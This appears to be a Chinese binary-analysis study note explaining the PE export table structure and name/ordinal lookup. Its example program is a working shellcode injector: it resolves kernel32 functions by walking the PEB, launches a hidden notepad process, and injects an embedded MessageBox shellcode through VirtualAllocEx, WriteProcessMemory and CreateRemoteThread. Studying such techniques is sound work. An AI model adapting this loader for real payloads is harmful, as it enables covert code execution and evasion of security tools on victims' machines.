二进制入门学习笔记-6.导出表

导出表

1.1 简介

导出表主要是为了给别人提供一个清单,告诉别人有哪些可以调用的函数。

1.2 导出表的位置

可选PE头最后一个_IMAGE_DATA_DIRECTORY DataDirectory[16]当中的第一个结构就是导出表的位置,共两个DWORD,第一个是VituralAddress(在内存中的偏移),第二个是Size(其实没用),这里面记录的其实是导出表的位置和大小,并不是真正的导出表。

typedef struct _IMAGE_DATA_DIRECTORY {                  
    DWORD   VirtualAddress;//导出表的rva
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;                 

1.3 导出表的结构

根据在可选PE头的数据目录表数组中查询到的导出表的位置可以找到真正的导出表,导出表的结构如下:

typedef struct _IMAGE_EXPORT_DIRECTORY {                            
    DWORD   Characteristics;                // 未使用          
    DWORD   TimeDateStamp;              // 时间戳          
    WORD    MajorVersion;               // 未使用          
    WORD    MinorVersion;               // 未使用          
    DWORD   Name;               // 指向该导出表文件名字符串         
    DWORD   Base;               // 导出函数起始序号         
    DWORD   NumberOfFunctions;              // 所有导出函数的个数            
    DWORD   NumberOfNames;              // 以函数名字导出的函数个数         
    DWORD   AddressOfFunctions;     // 导出函数地址表RVA                           
    DWORD   AddressOfNames;         // 导出函数名称表RVA                           
    DWORD   AddressOfNameOrdinals;  // 导出函数序号表RVA                           
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;                         

这当中存放函数地址、名称、序号又分为三张表,并且分别存储在AddressOfFunctions、AddressOfNames、AddressOfNameOrdinals当中,具体结构如下图所示: 注:

  • 1.AddressOfFUnctions存储的是rva地址,指向函数的地址。
  • 2.AddressOfNameOrdinals存储的是一个具体的数值。
  • 3.AddressOfNames存储的是rva地址,指向函数名称的地址。

1.4 导出表的用法

1.4.1 根据函数名称获取函数地址

具体过程如下:

  • 1.现根据函数的名称查询名称表,找出名称表中所指向地址内容和函数名称相同的条目,并记录该条目在名称表中的序号。
  • 2.查询和名称表中序号相同的序号表条目
  • 3.根据序号表中所查询到的序号表条目获取到的序号查找函数地址表中对应序号的地址即为所需函数地址。

1.4.2 根据序号获取函数地址

导出序号-Base值=函数在函数地址表中的序号,如下图所示

2.示例代码

2.1 遍历kernel32.dll导出表

// ConsoleApplication2.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <string>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>
#include <stdio.h>
#include<TlHelp32.h>

unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
"\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3"
"\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20"
"\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24"
"\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
"\x55\x08";
using namespace std;

PVOID getFuncAddrByNameFromKernel32(char* targetFuncName){
    //printf("************************************************\n");
    ///printf("targetFuncName:%s\n", targetFuncName);
    //获取PEB指针

    // Thread Environment Block (TEB)
    #if defined(_M_X64) // x64
        PPEB pebPtr = (PPEB)__readgsdword(0x0C * sizeof(PVOID));
    #else // x86
        PPEB pebPtr = (PPEB)__readfsdword(0x0C * sizeof(PVOID));
    #endif

    //获取PEB结构块的PEB_LDR_DATA
    PPEB_LDR_DATA pldr = pebPtr->Ldr;
    //链表头节点、尾节点;
    PLIST_ENTRY pListEntryNow = NULL;
    PLIST_ENTRY pListEntryEnd = NULL;
    pListEntryNow = pldr->InMemoryOrderModuleList.Flink;
    pListEntryEnd = pldr->InMemoryOrderModuleList.Flink;
    PLDR_DATA_TABLE_ENTRY pNowLdrDataEntry = NULL;
    PIMAGE_DOS_HEADER kernel32Base = NULL;//用于保存kernel32的基址
    //循环遍历以加载模块
    do
    {
        pNowLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)CONTAINING_RECORD(pListEntryNow, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        wchar_t name[] = L"KERNEL32";
        DWORD res = 0;
        res = (DWORD)wcsstr((wchar_t*)pNowLdrDataEntry->FullDllName.Buffer, (wchar_t*)name);
        if (res != 0) {
            kernel32Base = (PIMAGE_DOS_HEADER)pNowLdrDataEntry->DllBase;
            //printf("Find target DLL: %S\n", pNowLdrDataEntry->FullDllName.Buffer);
            //printf("Target DLL address: %x\n", pNowLdrDataEntry->DllBase);
            break;
        }
        pListEntryNow = pNowLdrDataEntry->InMemoryOrderLinks.Flink;
    } while (1);
    //获取kernerl32 NT头
    PIMAGE_NT_HEADERS kernel32IMAGE_NT_HEADERS = NULL;
    kernel32IMAGE_NT_HEADERS = PIMAGE_NT_HEADERS(((char*)kernel32Base) + kernel32Base->e_lfanew);

    //获取导出表RVA
    IMAGE_DATA_DIRECTORY pExportImgDataDir = kernel32IMAGE_NT_HEADERS->OptionalHeader.DataDirectory[0];
    //printf("pExportImgDataDir.RVA:%x\n", pExportImgDataDir.VirtualAddress);

    //获取导出表
    PIMAGE_EXPORT_DIRECTORY pimgExportDir = (PIMAGE_EXPORT_DIRECTORY)((char*)kernel32Base + pExportImgDataDir.VirtualAddress);
    //printf("Num of name: %d\n", pimgExportDir->NumberOfNames);

    int targetFuncIndexAddressOfNames = NULL;
    //遍历导出名称表
    for (int i = 0; i < pimgExportDir->NumberOfNames; i++) {
        PDWORD  nameAddr = (PDWORD)((DWORD)kernel32Base + pimgExportDir->AddressOfNames);
        char* name = (char*)kernel32Base + nameAddr[i];
        //printf("%s\n", name);
        if (strcmp(targetFuncName, name) == 0) {
            targetFuncIndexAddressOfNames = i;
            printf("target function %s found, index is : %d\n", targetFuncName, i);
            break;
        }
    }
    //根据函数序号表查函数序号表
    int targetFuncIndexInAddressOfNameOrdinals = NULL;
    if (targetFuncIndexAddressOfNames != NULL) {
        PWORD AddressOfNameOrdinals = (PWORD)((DWORD)kernel32Base + pimgExportDir->AddressOfNameOrdinals);
        targetFuncIndexInAddressOfNameOrdinals = AddressOfNameOrdinals[targetFuncIndexAddressOfNames];
        //printf("target func index in AddressOfFunctions tables is %d\n", targetFuncIndexInAddressOfNameOrdinals);
    }

    PVOID targetFuncAddr = NULL;
    //根据序号查函数地址表获取函数地址

    if (targetFuncIndexInAddressOfNameOrdinals) {
        PDWORD AddressOfFunctions = (PDWORD)((DWORD)kernel32Base + pimgExportDir->AddressOfFunctions);
        targetFuncAddr = (PVOID)((DWORD)kernel32Base + AddressOfFunctions[targetFuncIndexInAddressOfNameOrdinals]);
        return targetFuncAddr;
    }
}

int find_process(char* process_name) {

    using CreateToolhelp32Snapshots = HANDLE(WINAPI*)(DWORD, DWORD);
    CreateToolhelp32Snapshots CreateToolhelp32Snapshot = (CreateToolhelp32Snapshots)getFuncAddrByNameFromKernel32((char*)"CreateToolhelp32Snapshot");

    using Process32Firsts = BOOL(WINAPI*)(HANDLE, LPPROCESSENTRY32);
    Process32Firsts Process32First = (Process32Firsts)getFuncAddrByNameFromKernel32((char*)"Process32First");

    using Process32Nexts = Process32Firsts;
    Process32Nexts Process32Next = (Process32Nexts)getFuncAddrByNameFromKernel32((char*)"Process32Next");



    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    int returnValue = 0;
    if (!Process32First(snapshot, &entry)) {
        goto cleanup;
    }
    do {
        //printf("entry.szExeFile:%s,%x\n", entry.szExeFile, strcmp((char*)entry.szExeFile, (char*)process_name));
        if (strcmp((char*)entry.szExeFile, process_name) == 0) {
            returnValue = entry.th32ProcessID;
            goto cleanup;
        }
    } while (Process32Next(snapshot, &entry));
cleanup:
    CloseHandle(snapshot);
    //printf("returnValue:%x\n", returnValue);
    return returnValue;
}


BOOL CreateMyProcess()
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi = { 0 };
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    WCHAR cmdLine[] = L"C:\\Windows\\SysWOW64\\notepad.exe";
    using CreateProcessPrototype = BOOL(WINAPI*)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES ,BOOL ,DWORD , LPVOID ,LPCTSTR ,LPSTARTUPINFO,LPPROCESS_INFORMATION);
    CreateProcessPrototype CreateProcess = (CreateProcessPrototype)getFuncAddrByNameFromKernel32((char*)("CreateProcessW"));
    if (!CreateProcess(NULL, cmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
    {
        printf(" error code %d", GetLastError());
        return FALSE;
    }
    if (pi.hProcess)
    {
        CloseHandle(pi.hProcess);
        pi.hProcess = NULL;
    }
    if (pi.hThread)
    {
        CloseHandle(pi.hThread);
        pi.hThread = NULL;
    }
    return TRUE;
}

int main()
{
    using OpenProcessPrototype = HANDLE(WINAPI*)(DWORD, BOOL, DWORD);
    OpenProcessPrototype OpenProcess = (OpenProcessPrototype)getFuncAddrByNameFromKernel32((char*)("OpenProcess"));

    using VirtualAllocExPrototype = LPVOID(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
    VirtualAllocExPrototype VirtualAllocEx = (VirtualAllocExPrototype)getFuncAddrByNameFromKernel32((char*)("VirtualAllocEx"));

    using WriteProcessMemoryPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
    WriteProcessMemoryPrototype WriteProcessMemory = (WriteProcessMemoryPrototype)getFuncAddrByNameFromKernel32((char*)("WriteProcessMemory"));

    using CreateRemoteThreadPrototype = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
    CreateRemoteThreadPrototype CreateRemoteThread = (CreateRemoteThreadPrototype)getFuncAddrByNameFromKernel32((char*)("CreateRemoteThread"));

    CreateMyProcess();
    //查找notepad进程
    HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, true, find_process((char*)"notepad.exe"));
    //printf("hTargetProcess: %x\n", hTargetProcess);
    LPVOID targetPage = VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL);
    DWORD ignored;
    CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored);
    return EXIT_SUCCESS;

}